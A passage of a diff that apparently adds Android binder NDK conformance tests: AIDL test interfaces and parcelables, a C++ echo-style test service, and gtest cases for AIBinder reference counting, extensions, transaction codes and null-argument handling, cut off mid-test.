+++ b/tests/tests/binder_ndk/libbinder_ndk_test/api/1/test_package/Foo.aidl
@@ -0,0 +1,9 @@
+package test_package;
+parcelable Foo {
+  String a = "FOO";
+  int b = 42;
+  float c = 3.140000f;
+  test_package.Bar d;
+  test_package.Bar e;
+  int f = 3;
+}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/api/1/test_package/IEmpty.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/api/1/test_package/IEmpty.aidl
new file mode 100644
index 0000000..2baa52c
--- /dev/null
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/api/1/test_package/IEmpty.aidl
@@ -0,0 +1,3 @@
+package test_package;
+interface IEmpty {
+}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/api/1/test_package/ITest.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/api/1/test_package/ITest.aidl
new file mode 100644
index 0000000..bcf09b1
--- /dev/null
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/api/1/test_package/ITest.aidl
@@ -0,0 +1,55 @@
+package test_package;
+interface ITest {
+  String GetName();
+  void TestVoidReturn();
+  oneway void TestOneway();
+  int GiveMeMyCallingPid();
+  int GiveMeMyCallingUid();
+  oneway void CacheCallingInfoFromOneway();
+  int GiveMeMyCallingPidFromOneway();
+  int GiveMeMyCallingUidFromOneway();
+  int RepeatInt(int value);
+  long RepeatLong(long value);
+  float RepeatFloat(float value);
+  double RepeatDouble(double value);
+  boolean RepeatBoolean(boolean value);
+  char RepeatChar(char value);
+  byte RepeatByte(byte value);
+  IBinder RepeatBinder(IBinder value);
+  @nullable IBinder RepeatNullableBinder(@nullable IBinder value);
+  test_package.IEmpty RepeatInterface(test_package.IEmpty value);
+  @nullable test_package.IEmpty RepeatNullableInterface(@nullable test_package.IEmpty value);
+  ParcelFileDescriptor RepeatFd(in ParcelFileDescriptor fd);
+  @nullable ParcelFileDescriptor RepeatNullableFd(in @nullable ParcelFileDescriptor fd);
+  String RepeatString(String value);
+  @nullable String RepeatNullableString(@nullable String value);
+  test_package.RegularPolygon RepeatPolygon(in test_package.RegularPolygon value);
+  void RenamePolygon(inout test_package.RegularPolygon value, String newName);
+  boolean[] RepeatBooleanArray(in boolean[] input, out boolean[] repeated);
+  byte[] RepeatByteArray(in byte[] input, out byte[] repeated);
+  char[] RepeatCharArray(in char[] input, out char[] repeated);
+  int[] RepeatIntArray(in int[] input, out int[] repeated);
+  long[] RepeatLongArray(in long[] input, out long[] repeated);
+  float[] RepeatFloatArray(in float[] input, out float[] repeated);
+  double[] RepeatDoubleArray(in double[] input, out double[] repeated);
+  String[] RepeatStringArray(in String[] input, out String[] repeated);
+  test_package.RegularPolygon[] RepeatRegularPolygonArray(in test_package.RegularPolygon[] input, out test_package.RegularPolygon[] repeated);
+  @nullable boolean[] RepeatNullableBooleanArray(in @nullable boolean[] input);
+  @nullable byte[] RepeatNullableByteArray(in @nullable byte[] input);
+  @nullable char[] RepeatNullableCharArray(in @nullable char[] input);
+  @nullable int[] RepeatNullableIntArray(in @nullable int[] input);
+  @nullable long[] RepeatNullableLongArray(in @nullable long[] input);
+  @nullable float[] RepeatNullableFloatArray(in @nullable float[] input);
+  @nullable double[] RepeatNullableDoubleArray(in @nullable double[] input);
+  @nullable String[] RepeatNullableStringArray(in @nullable String[] input);
+  @nullable String[] DoubleRepeatNullableStringArray(in @nullable String[] input, out @nullable String[] repeated);
+  test_package.Foo repeatFoo(in test_package.Foo inFoo);
+  void renameFoo(inout test_package.Foo foo, String name);
+  void renameBar(inout test_package.Foo foo, String name);
+  int getF(in test_package.Foo foo);
+  const int kZero = 0;
+  const int kOne = 1;
+  const int kOnes = -1;
+  const String kEmpty = "";
+  const String kFoo = "foo";
+}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/api/1/test_package/RegularPolygon.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/api/1/test_package/RegularPolygon.aidl
new file mode 100644
index 0000000..14c6c2e
--- /dev/null
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/api/1/test_package/RegularPolygon.aidl
@@ -0,0 +1,6 @@
+package test_package;
+parcelable RegularPolygon {
+  String name = "square";
+  int numSides = 4;
+  float sideLength = 1.000000f;
+}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/itest_impl.h b/tests/tests/binder_ndk/libbinder_ndk_test/itest_impl.h
new file mode 100644
index 0000000..e7fdf36
--- /dev/null
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/itest_impl.h
@@ -0,0 +1,336 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <aidl/test_package/BnTest.h>
+
+#include <stdio.h>
+#include <unistd.h>
+#include <condition_variable>
+#include <mutex>
+
+#include "utilities.h"
+
+using IEmpty = ::aidl::test_package::IEmpty;
+using RegularPolygon = ::aidl::test_package::RegularPolygon;
+using Foo = ::aidl::test_package::Foo;
+using Bar = ::aidl::test_package::Bar;
+
+class MyTest : public ::aidl::test_package::BnTest,
+               public ThisShouldBeDestroyed {
+ public:
+  binder_status_t dump(int fd, const char** args, uint32_t numArgs) override {
+    for (uint32_t i = 0; i < numArgs; i++) {
+      dprintf(fd, "%s", args[i]);
+    }
+    fsync(fd);
+    return STATUS_OK;
+  }
+
+  ::ndk::ScopedAStatus GetName(std::string* _aidl_return) override {
+    *_aidl_return = "CPP";
+    return ::ndk::ScopedAStatus(AStatus_newOk());
+  }
+  ::ndk::ScopedAStatus TestVoidReturn() override {
+    return ::ndk::ScopedAStatus(AStatus_newOk());
+  }
+  ::ndk::ScopedAStatus TestOneway() override {
+    // This return code should be ignored since it is oneway.
+    return ::ndk::ScopedAStatus(AStatus_fromStatus(STATUS_UNKNOWN_ERROR));
+  }
+
+  ::ndk::ScopedAStatus GiveMeMyCallingPid(int32_t* _aidl_return) override {
+    *_aidl_return = AIBinder_getCallingPid();
+    return ::ndk::ScopedAStatus(AStatus_newOk());
+  }
+  ::ndk::ScopedAStatus GiveMeMyCallingUid(int32_t* _aidl_return) override {
+    *_aidl_return = AIBinder_getCallingUid();
+    return ::ndk::ScopedAStatus(AStatus_newOk());
+  }
+
+ private:
+  bool mCached = false;
+  std::mutex mCachedMutex;
+  std::condition_variable mCachedCondition;
+  int mCachedPid = -1;
+  int mCachedUid = -1;
+
+ public:
+  ::ndk::ScopedAStatus CacheCallingInfoFromOneway() override {
+    std::unique_lock<std::mutex> l(mCachedMutex);
+    mCached = true;
+    mCachedPid = AIBinder_getCallingPid();
+    mCachedUid = AIBinder_getCallingUid();
+    mCachedCondition.notify_all();
+
+    return ::ndk::ScopedAStatus(AStatus_newOk());
+  }
+  ::ndk::ScopedAStatus GiveMeMyCallingPidFromOneway(
+      int32_t* _aidl_return) override {
+    std::unique_lock<std::mutex> l(mCachedMutex);
+    mCachedCondition.wait(l, [&] { return mCached; });
+
+    *_aidl_return = mCachedPid;
+    return ::ndk::ScopedAStatus(AStatus_newOk());
+  }
+  ::ndk::ScopedAStatus GiveMeMyCallingUidFromOneway(
+      int32_t* _aidl_return) override {
+    std::unique_lock<std::mutex> l(mCachedMutex);
+    mCachedCondition.wait(l, [&] { return mCached; });
+
+    *_aidl_return = mCachedUid;
+    return ::ndk::ScopedAStatus(AStatus_newOk());
+  }
+  ::ndk::ScopedAStatus RepeatInt(int32_t in_value,
+                                 int32_t* _aidl_return) override {
+    *_aidl_return = in_value;
+    return ::ndk::ScopedAStatus(AStatus_newOk());
+  }
+  ::ndk::ScopedAStatus RepeatLong(int64_t in_value,
+                                  int64_t* _aidl_return) override {
+    *_aidl_return = in_value;
+    return ::ndk::ScopedAStatus(AStatus_newOk());
+  }
+  ::ndk::ScopedAStatus RepeatFloat(float in_value,
+                                   float* _aidl_return) override {
+    *_aidl_return = in_value;
+    return ::ndk::ScopedAStatus(AStatus_newOk());
+  }
+  ::ndk::ScopedAStatus RepeatDouble(double in_value,
+                                    double* _aidl_return) override {
+    *_aidl_return = in_value;
+    return ::ndk::ScopedAStatus(AStatus_newOk());
+  }
+  ::ndk::ScopedAStatus RepeatBoolean(bool in_value,
+                                     bool* _aidl_return) override {
+    *_aidl_return = in_value;
+    return ::ndk::ScopedAStatus(AStatus_newOk());
+  }
+  ::ndk::ScopedAStatus RepeatChar(char16_t in_value,
+                                  char16_t* _aidl_return) override {
+    *_aidl_return = in_value;
+    return ::ndk::ScopedAStatus(AStatus_newOk());
+  }
+  ::ndk::ScopedAStatus RepeatByte(int8_t in_value,
+                                  int8_t* _aidl_return) override {
+    *_aidl_return = in_value;
+    return ::ndk::ScopedAStatus(AStatus_newOk());
+  }
+  ::ndk::ScopedAStatus RepeatBinder(const ::ndk::SpAIBinder& in_value,
+                                    ::ndk::SpAIBinder* _aidl_return) override {
+    *_aidl_return = in_value;
+    return ::ndk::ScopedAStatus(AStatus_newOk());
+  }
+  ::ndk::ScopedAStatus RepeatNullableBinder(
+      const ::ndk::SpAIBinder& in_value,
+      ::ndk::SpAIBinder* _aidl_return) override {
+    *_aidl_return = in_value;
+    return ::ndk::ScopedAStatus(AStatus_newOk());
+  }
+  ::ndk::ScopedAStatus RepeatInterface(
+      const std::shared_ptr<IEmpty>& in_value,
+      std::shared_ptr<IEmpty>* _aidl_return) override {
+    *_aidl_return = in_value;
+    return ::ndk::ScopedAStatus(AStatus_newOk());
+  }
+  ::ndk::ScopedAStatus RepeatNullableInterface(
+      const std::shared_ptr<IEmpty>& in_value,
+      std::shared_ptr<IEmpty>* _aidl_return) override {
+    *_aidl_return = in_value;
+    return ::ndk::ScopedAStatus(AStatus_newOk());
+  }
+  ::ndk::ScopedAStatus RepeatFd(
+      const ::ndk::ScopedFileDescriptor& in_value,
+      ::ndk::ScopedFileDescriptor* _aidl_return) override {
+    _aidl_return->set(dup(in_value.get()));
+    return ::ndk::ScopedAStatus(AStatus_newOk());
+  }
+  ::ndk::ScopedAStatus RepeatNullableFd(
+      const ::ndk::ScopedFileDescriptor& in_value,
+      ::ndk::ScopedFileDescriptor* _aidl_return) override {
+    _aidl_return->set(dup(in_value.get()));
+    return ::ndk::ScopedAStatus(AStatus_newOk());
+  }
+  ::ndk::ScopedAStatus RepeatString(const std::string& in_value,
+                                    std::string* _aidl_return) override {
+    *_aidl_return = in_value;
+    return ::ndk::ScopedAStatus(AStatus_newOk());
+  }
+  ::ndk::ScopedAStatus RepeatNullableString(
+      const std::optional<std::string>& in_value,
+      std::optional<std::string>* _aidl_return) override {
+    *_aidl_return = in_value;
+    return ::ndk::ScopedAStatus(AStatus_newOk());
+  }
+  ::ndk::ScopedAStatus RepeatPolygon(const RegularPolygon& in_value,
+                                     RegularPolygon* _aidl_return) override {
+    *_aidl_return = in_value;
+    return ::ndk::ScopedAStatus(AStatus_newOk());
+  }
+  ::ndk::ScopedAStatus RenamePolygon(RegularPolygon* value,
+                                     const std::string& newName) override {
+    value->name = newName;
+    return ::ndk::ScopedAStatus(AStatus_newOk());
+  }
+  ::ndk::ScopedAStatus RepeatBooleanArray(
+      const std::vector<bool>& in_value, std::vector<bool>* out_repeated,
+      std::vector<bool>* _aidl_return) override {
+    *out_repeated = in_value;
+    *_aidl_return = in_value;
+    return ::ndk::ScopedAStatus(AStatus_newOk());
+  }
+  ::ndk::ScopedAStatus RepeatByteArray(
+      const std::vector<int8_t>& in_value, std::vector<int8_t>* out_repeated,
+      std::vector<int8_t>* _aidl_return) override {
+    *out_repeated = in_value;
+    *_aidl_return = in_value;
+    return ::ndk::ScopedAStatus(AStatus_newOk());
+  }
+  ::ndk::ScopedAStatus RepeatCharArray(
+      const std::vector<char16_t>& in_value,
+      std::vector<char16_t>* out_repeated,
+      std::vector<char16_t>* _aidl_return) override {
+    *out_repeated = in_value;
+    *_aidl_return = in_value;
+    return ::ndk::ScopedAStatus(AStatus_newOk());
+  }
+  ::ndk::ScopedAStatus RepeatIntArray(
+      const std::vector<int32_t>& in_value, std::vector<int32_t>* out_repeated,
+      std::vector<int32_t>* _aidl_return) override {
+    *out_repeated = in_value;
+    *_aidl_return = in_value;
+    return ::ndk::ScopedAStatus(AStatus_newOk());
+  }
+  ::ndk::ScopedAStatus RepeatLongArray(
+      const std::vector<int64_t>& in_value, std::vector<int64_t>* out_repeated,
+      std::vector<int64_t>* _aidl_return) override {
+    *out_repeated = in_value;
+    *_aidl_return = in_value;
+    return ::ndk::ScopedAStatus(AStatus_newOk());
+  }
+  ::ndk::ScopedAStatus RepeatFloatArray(
+      const std::vector<float>& in_value, std::vector<float>* out_repeated,
+      std::vector<float>* _aidl_return) override {
+    *out_repeated = in_value;
+    *_aidl_return = in_value;
+    return ::ndk::ScopedAStatus(AStatus_newOk());
+  }
+  ::ndk::ScopedAStatus RepeatDoubleArray(
+      const std::vector<double>& in_value, std::vector<double>* out_repeated,
+      std::vector<double>* _aidl_return) override {
+    *out_repeated = in_value;
+    *_aidl_return = in_value;
+    return ::ndk::ScopedAStatus(AStatus_newOk());
+  }
+  ::ndk::ScopedAStatus RepeatStringArray(
+      const std::vector<std::string>& in_value,
+      std::vector<std::string>* out_repeated,
+      std::vector<std::string>* _aidl_return) override {
+    *out_repeated = in_value;
+    *_aidl_return = in_value;
+    return ::ndk::ScopedAStatus(AStatus_newOk());
+  }
+  ::ndk::ScopedAStatus RepeatRegularPolygonArray(
+      const std::vector<RegularPolygon>& in_value, std::vector<RegularPolygon>* out_repeated,
+      std::vector<RegularPolygon>* _aidl_return) override {
+    *out_repeated = in_value;
+    *_aidl_return = in_value;
+    return ::ndk::ScopedAStatus(AStatus_newOk());
+  }
+  ::ndk::ScopedAStatus RepeatNullableBooleanArray(
+      const std::optional<std::vector<bool>>& in_value,
+      std::optional<std::vector<bool>>* _aidl_return) override {
+    *_aidl_return = in_value;
+    return ::ndk::ScopedAStatus(AStatus_newOk());
+  }
+  ::ndk::ScopedAStatus RepeatNullableByteArray(
+      const std::optional<std::vector<int8_t>>& in_value,
+      std::optional<std::vector<int8_t>>* _aidl_return) override {
+    *_aidl_return = in_value;
+    return ::ndk::ScopedAStatus(AStatus_newOk());
+  }
+  ::ndk::ScopedAStatus RepeatNullableCharArray(
+      const std::optional<std::vector<char16_t>>& in_value,
+      std::optional<std::vector<char16_t>>* _aidl_return) override {
+    *_aidl_return = in_value;
+    return ::ndk::ScopedAStatus(AStatus_newOk());
+  }
+  ::ndk::ScopedAStatus RepeatNullableIntArray(
+      const std::optional<std::vector<int32_t>>& in_value,
+      std::optional<std::vector<int32_t>>* _aidl_return) override {
+    *_aidl_return = in_value;
+    return ::ndk::ScopedAStatus(AStatus_newOk());
+  }
+  ::ndk::ScopedAStatus RepeatNullableLongArray(
+      const std::optional<std::vector<int64_t>>& in_value,
+      std::optional<std::vector<int64_t>>* _aidl_return) override {
+    *_aidl_return = in_value;
+    return ::ndk::ScopedAStatus(AStatus_newOk());
+  }
+  ::ndk::ScopedAStatus RepeatNullableFloatArray(
+      const std::optional<std::vector<float>>& in_value,
+      std::optional<std::vector<float>>* _aidl_return) override {
+    *_aidl_return = in_value;
+    return ::ndk::ScopedAStatus(AStatus_newOk());
+  }
+  ::ndk::ScopedAStatus RepeatNullableDoubleArray(
+      const std::optional<std::vector<double>>& in_value,
+      std::optional<std::vector<double>>* _aidl_return) override {
+    *_aidl_return = in_value;
+    return ::ndk::ScopedAStatus(AStatus_newOk());
+  }
+  ::ndk::ScopedAStatus RepeatNullableStringArray(
+      const std::optional<std::vector<std::optional<std::string>>>& in_value,
+      std::optional<std::vector<std::optional<std::string>>>* _aidl_return) {
+    *_aidl_return = in_value;
+    return ::ndk::ScopedAStatus(AStatus_newOk());
+  }
+  ::ndk::ScopedAStatus DoubleRepeatNullableStringArray(
+      const std::optional<std::vector<std::optional<std::string>>>& in_value,
+      std::optional<std::vector<std::optional<std::string>>>* out_repeated,
+      std::optional<std::vector<std::optional<std::string>>>* _aidl_return)
+      override {
+    *out_repeated = in_value;
+    *_aidl_return = in_value;
+    return ::ndk::ScopedAStatus(AStatus_newOk());
+  }
+#ifndef USING_VERSION_1
+  // All methods added from now on should be within this macro
+  ::ndk::ScopedAStatus NewMethodThatReturns10(int32_t* _aidl_return) override {
+    *_aidl_return = 10;
+    return ::ndk::ScopedAStatus(AStatus_newOk());
+  }
+#endif
+
+  ::ndk::ScopedAStatus repeatFoo(const Foo& in_inFoo, Foo* _aidl_return) {
+    *_aidl_return = in_inFoo;
+    return ::ndk::ScopedAStatus(AStatus_newOk());
+  }
+
+  ::ndk::ScopedAStatus renameFoo(Foo* in_foo, const std::string& in_name) {
+    in_foo->a = in_name;
+    return ::ndk::ScopedAStatus(AStatus_newOk());
+  }
+
+  ::ndk::ScopedAStatus renameBar(Foo* in_foo, const std::string& in_name) {
+    in_foo->d.a = in_name;
+    return ::ndk::ScopedAStatus(AStatus_newOk());
+  }
+
+  ::ndk::ScopedAStatus getF(const Foo& foo, int32_t* _aidl_return) {
+    *_aidl_return = foo.f;
+    return ::ndk::ScopedAStatus(AStatus_newOk());
+  }
+};
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/test_ibinder.cpp b/tests/tests/binder_ndk/libbinder_ndk_test/test_ibinder.cpp
new file mode 100644
index 0000000..c8526ec
--- /dev/null
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/test_ibinder.cpp
@@ -0,0 +1,344 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define LOG_TAG "Cts-NdkBinderTest"
+
+#include <android/binder_ibinder.h>
+#include <gtest/gtest.h>
+
+#include "utilities.h"
+
+class NdkBinderTest_AIBinder : public NdkBinderTest {};
+
+TEST_F(NdkBinderTest_AIBinder, Destruction) {
+  bool destroyed = false;
+  AIBinder* binder =
+      SampleData::newBinder(nullptr, [&](SampleData*) { destroyed = true; });
+  EXPECT_FALSE(destroyed);
+  AIBinder_incStrong(binder);  // 1 -> 2
+  EXPECT_FALSE(destroyed);
+  AIBinder_decStrong(binder);  // 2 -> 1
+  EXPECT_FALSE(destroyed);
+  AIBinder_decStrong(binder);  // 1 -> 0
+  EXPECT_TRUE(destroyed);
+}
+
+TEST_F(NdkBinderTest_AIBinder, GetClass) {
+  AIBinder* binder = SampleData::newBinder();
+  // class is already set since this local binder is contructed with it
+  EXPECT_EQ(SampleData::kClass, AIBinder_getClass(binder));
+  AIBinder_decStrong(binder);
+}
+
+TEST_F(NdkBinderTest_AIBinder, AssociateClass) {
+  AIBinder* binder = SampleData::newBinder();
+  EXPECT_TRUE(AIBinder_associateClass(binder, SampleData::kClass));
+  AIBinder_decStrong(binder);
+}
+
+TEST_F(NdkBinderTest_AIBinder, AssociateWrongClassFails) {
+  AIBinder* binder = SampleData::newBinder();
+  EXPECT_FALSE(AIBinder_associateClass(binder, SampleData::kAnotherClass));
+  AIBinder_decStrong(binder);
+}
+
+TEST_F(NdkBinderTest_AIBinder, GetUserData) {
+  // This test can't use the helper utility since SampleData isn't exposed
+  SampleData* data = new SampleData;
+  // Takes ownership of data
+  AIBinder* binder = AIBinder_new(SampleData::kClass, static_cast<void*>(data));
+  EXPECT_EQ(data, AIBinder_getUserData(binder));
+  AIBinder_decStrong(binder);
+}
+
+TEST_F(NdkBinderTest_AIBinder, DestructionGivesUserData) {
+  // This test can't use the helper utility since SampleData isn't exposed
+  SampleData* destroyedPointer = nullptr;
+  SampleData* data = new SampleData(
+      nullptr, [&](SampleData* data) { destroyedPointer = data; });
+  // Takes ownership of data
+  AIBinder* binder = AIBinder_new(SampleData::kClass, static_cast<void*>(data));
+  EXPECT_EQ(nullptr, destroyedPointer);
+  AIBinder_decStrong(binder);
+
+  // These pointers no longer reference valid memory locations, but the pointers
+  // themselves are valid
+  EXPECT_EQ(data, destroyedPointer);
+}
+
+void onBinderDied(void* /*cookie*/) {}
+
+TEST_F(NdkBinderTest_AIBinder, LinkInProcess) {
+  AIBinder* binder = SampleData::newBinder();
+  AIBinder_DeathRecipient* recipient =
+      AIBinder_DeathRecipient_new(onBinderDied);
+
+  EXPECT_EQ(STATUS_INVALID_OPERATION,
+            AIBinder_linkToDeath(binder, recipient, nullptr /*cookie*/));
+
+  AIBinder_DeathRecipient_delete(recipient);
+  AIBinder_decStrong(binder);
+}
+
+TEST_F(NdkBinderTest_AIBinder, GetCallingWhenNoCalling) {
+  // Calling UID/PID are current calling UID/PID if there isn't an incoming
+  // call.
+  EXPECT_EQ(getuid(), AIBinder_getCallingUid());
+  EXPECT_EQ(getpid(), AIBinder_getCallingPid());
+}
+
+TEST_F(NdkBinderTest_AIBinder, DebugRefCount) {
+  AIBinder* binder = SampleData::newBinder();
+  EXPECT_EQ(1, AIBinder_debugGetRefCount(binder));
+  AIBinder_decStrong(binder);
+}
+
+TEST_F(NdkBinderTest_AIBinder, WeakPointerCanPromote) {
+  AIBinder* binder = SampleData::newBinder();
+  AIBinder_Weak* weak = AIBinder_Weak_new(binder);
+  AIBinder* promoted = AIBinder_Weak_promote(weak);
+  EXPECT_EQ(binder, promoted);
+  AIBinder_Weak_delete(weak);
+  AIBinder_decStrong(binder);
+  AIBinder_decStrong(promoted);
+}
+
+TEST_F(NdkBinderTest_AIBinder, WeakPointerCanNotPromote) {
+  AIBinder* binder = SampleData::newBinder();
+  AIBinder_Weak* weak = AIBinder_Weak_new(binder);
+  AIBinder_decStrong(binder);
+
+  AIBinder* promoted = AIBinder_Weak_promote(weak);
+  EXPECT_EQ(nullptr, promoted);
+}
+
+TEST_F(NdkBinderTest_AIBinder, LocalIsLocal) {
+  AIBinder* binder = SampleData::newBinder();
+  EXPECT_FALSE(AIBinder_isRemote(binder));
+  AIBinder_decStrong(binder);
+}
+
+TEST_F(NdkBinderTest_AIBinder, IsAlive) {
+  AIBinder* binder = SampleData::newBinder();
+  EXPECT_TRUE(AIBinder_isAlive(binder));
+  AIBinder_decStrong(binder);
+}
+
+TEST_F(NdkBinderTest_AIBinder, CanPing) {
+  AIBinder* binder = SampleData::newBinder();
+  EXPECT_OK(AIBinder_ping(binder));
+  AIBinder_decStrong(binder);
+}
+
+TEST_F(NdkBinderTest_AIBinder, GetExtensionImmediatelyReturnsNull) {
+  AIBinder* binder = SampleData::newBinder();
+  AIBinder* ext;
+  EXPECT_OK(AIBinder_getExtension(binder, &ext));
+  EXPECT_EQ(ext, nullptr);
+  AIBinder_decStrong(binder);
+}
+
+TEST_F(NdkBinderTest_AIBinder, GetSetExtensionLocally) {
+  AIBinder* binder = SampleData::newBinder();
+  AIBinder* ext = SampleData::newBinder();
+  EXPECT_OK(AIBinder_setExtension(binder, ext));
+
+  AIBinder* getExt;
+  EXPECT_OK(AIBinder_getExtension(binder, &getExt));
+  ASSERT_EQ(ext, getExt);
+
+  AIBinder_decStrong(ext);
+  AIBinder_decStrong(getExt);
+  AIBinder_decStrong(binder);
+}
+
+TEST_F(NdkBinderTest_AIBinder, GetSetExtensionRepeatedly) {
+  AIBinder* binder = SampleData::newBinder();
+  AIBinder* ext1 = SampleData::newBinder();
+  AIBinder* ext2 = SampleData::newBinder();
+  EXPECT_OK(AIBinder_setExtension(binder, ext1));
+  EXPECT_OK(AIBinder_setExtension(binder, ext2));
+
+  AIBinder* getExt;
+  EXPECT_OK(AIBinder_getExtension(binder, &getExt));
+  ASSERT_EQ(ext2, getExt);
+
+  AIBinder_decStrong(ext1);
+  AIBinder_decStrong(ext2);
+  AIBinder_decStrong(getExt);
+  AIBinder_decStrong(binder);
+}
+
+TEST_F(NdkBinderTest_AIBinder, TransactionHappens) {
+  AIBinder* binder = SampleData::newBinder(TransactionsReturn(STATUS_OK),
+                                           ExpectLifetimeTransactions(1));
+  EXPECT_OK(SampleData::transact(binder, kCode));
+  AIBinder_decStrong(binder);
+}
+
+TEST_F(NdkBinderTest_AIBinder, OnewayTransactionHappens) {
+  AIBinder* binder = SampleData::newBinder(TransactionsReturn(STATUS_OK),
+                                           ExpectLifetimeTransactions(1));
+  EXPECT_OK(SampleData::transact(binder, kCode, WriteNothingToParcel,
+                                 ReadNothingFromParcel, FLAG_ONEWAY));
+  AIBinder_decStrong(binder);
+}
+
+TEST_F(NdkBinderTest_AIBinder, TransactionCodeMaintained) {
+  AIBinder* binder = SampleData::newBinder(
+      [&](transaction_code_t code, const AParcel*, AParcel*) {
+        EXPECT_EQ(code, kCode);
+        return STATUS_OK;
+      },
+      ExpectLifetimeTransactions(1));
+  EXPECT_OK(SampleData::transact(binder, kCode));
+  AIBinder_decStrong(binder);
+}
+
+TEST_F(NdkBinderTest_AIBinder, TransactionCodeRangeRespected) {
+  AIBinder* binder = SampleData::newBinder(TransactionsReturn(STATUS_OK));
+  EXPECT_OK(SampleData::transact(binder, FIRST_CALL_TRANSACTION));
+  EXPECT_OK(SampleData::transact(binder, FIRST_CALL_TRANSACTION + 1));
+  EXPECT_OK(SampleData::transact(binder, LAST_CALL_TRANSACTION - 1));
+  EXPECT_OK(SampleData::transact(binder, LAST_CALL_TRANSACTION));
+
+  EXPECT_EQ(STATUS_UNKNOWN_TRANSACTION,
+            SampleData::transact(binder, FIRST_CALL_TRANSACTION - 1));
+  EXPECT_EQ(STATUS_UNKNOWN_TRANSACTION,
+            SampleData::transact(binder, LAST_CALL_TRANSACTION + 1));
+  AIBinder_decStrong(binder);
+}
+
+TEST_F(NdkBinderTest_AIBinder, UnknownFlagsRejected) {
+  AIBinder* binder =
+      SampleData::newBinder(nullptr, ExpectLifetimeTransactions(0));
+  EXPECT_EQ(STATUS_BAD_VALUE,
+            SampleData::transact(binder, kCode, WriteNothingToParcel,
+                                 ReadNothingFromParcel, +1 + 415));
+  EXPECT_EQ(STATUS_BAD_VALUE,
+            SampleData::transact(binder, kCode, WriteNothingToParcel,
+                                 ReadNothingFromParcel, FLAG_ONEWAY + 1));
+  EXPECT_EQ(STATUS_BAD_VALUE,
+            SampleData::transact(binder, kCode, WriteNothingToParcel,
+                                 ReadNothingFromParcel, ~0));
+  AIBinder_decStrong(binder);
+}
+
+void* EmptyOnCreate(void* args) { return args; }
+void EmptyOnDestroy(void* /*userData*/) {}
+binder_status_t EmptyOnTransact(AIBinder* /*binder*/,
+                                transaction_code_t /*code*/,
+                                const AParcel* /*in*/, AParcel* /*out*/) {
+  return STATUS_OK;
+}
+
+TEST_F(NdkBinderTest_AIBinder, NullArguments) {
+  void* const kVoidStar = reinterpret_cast<void*>(0xDEADBEEF);
+  const char* const kStr = "asdf";
+  AIBinder* binder = SampleData::newBinder();
+  AIBinder_DeathRecipient* recipient =
+      AIBinder_DeathRecipient_new(onBinderDied);
+  EXPECT_NE(nullptr, recipient);
+
+  EXPECT_EQ(nullptr, AIBinder_Class_define(nullptr, EmptyOnCreate,
+                                           EmptyOnDestroy, EmptyOnTransact));
+  EXPECT_EQ(nullptr, AIBinder_Class_define(kStr, nullptr, EmptyOnDestroy,
+                                           EmptyOnTransact));
+  EXPECT_EQ(nullptr, AIBinder_Class_define(kStr, EmptyOnCreate, nullptr,
+                                           EmptyOnTransact));
+  EXPECT_EQ(nullptr, AIBinder_Class_define(kStr, EmptyOnCreate, EmptyOnDestroy,
+                                           nullptr));
+
+  EXPECT_EQ(nullptr, AIBinder_new(nullptr /*clazz*/, kVoidStar /*args*/));
+  EXPECT_EQ(false, AIBinder_isRemote(nullptr));
+  EXPECT_EQ(false, AIBinder_isAlive(nullptr));
+  EXPECT_EQ(STATUS_UNEXPECTED_NULL, AIBinder_ping(nullptr));
+
+  EXPECT_EQ(STATUS_UNEXPECTED_NULL,
+            AIBinder_linkToDeath(nullptr, recipient, kVoidStar /*cookie*/));
+  EXPECT_EQ(STATUS_UNEXPECTED_NULL,
+            AIBinder_linkToDeath(binder, nullptr, kVoidStar /*cookie*/));
+  EXPECT_EQ(STATUS_UNEXPECTED_NULL,
+            AIBinder_unlinkToDeath(nullptr, recipient, kVoidStar /*cookie*/));
+  EXPECT_EQ(STATUS_UNEXPECTED_NULL,
+            AIBinder_unlinkToDeath(binder, nullptr, kVoidStar /*cookie*/));
+
+  // Does not crash
+  AIBinder_incStrong(nullptr);
+  AIBinder_decStrong(nullptr);
+
+  EXPECT_EQ(-1, AIBinder_debugGetRefCount(nullptr));
+  EXPECT_EQ(false, AIBinder_associateClass(binder, nullptr));
+  EXPECT_EQ(false, AIBinder_associateClass(nullptr, SampleData::kClass));
+  EXPECT_EQ(nullptr, AIBinder_getClass(nullptr));
+  EXPECT_EQ(nullptr, AIBinder_getUserData(nullptr));
+
+  AParcel* parcel = nullptr;
+  EXPECT_EQ(STATUS_UNEXPECTED_NULL,
+            AIBinder_prepareTransaction(binder, nullptr));
+  EXPECT_EQ(STATUS_UNEXPECTED_NULL,
+            AIBinder_prepareTransaction(nullptr, &parcel));
+  EXPECT_EQ(nullptr, parcel);  // not modified
+
+  {
+    auto newParcel = [&] {
+      AParcel* parcel = nullptr;
+      EXPECT_OK(AIBinder_prepareTransaction(binder, &parcel));
+      return parcel;
+    };
+
+    AParcel* inParcel = nullptr;
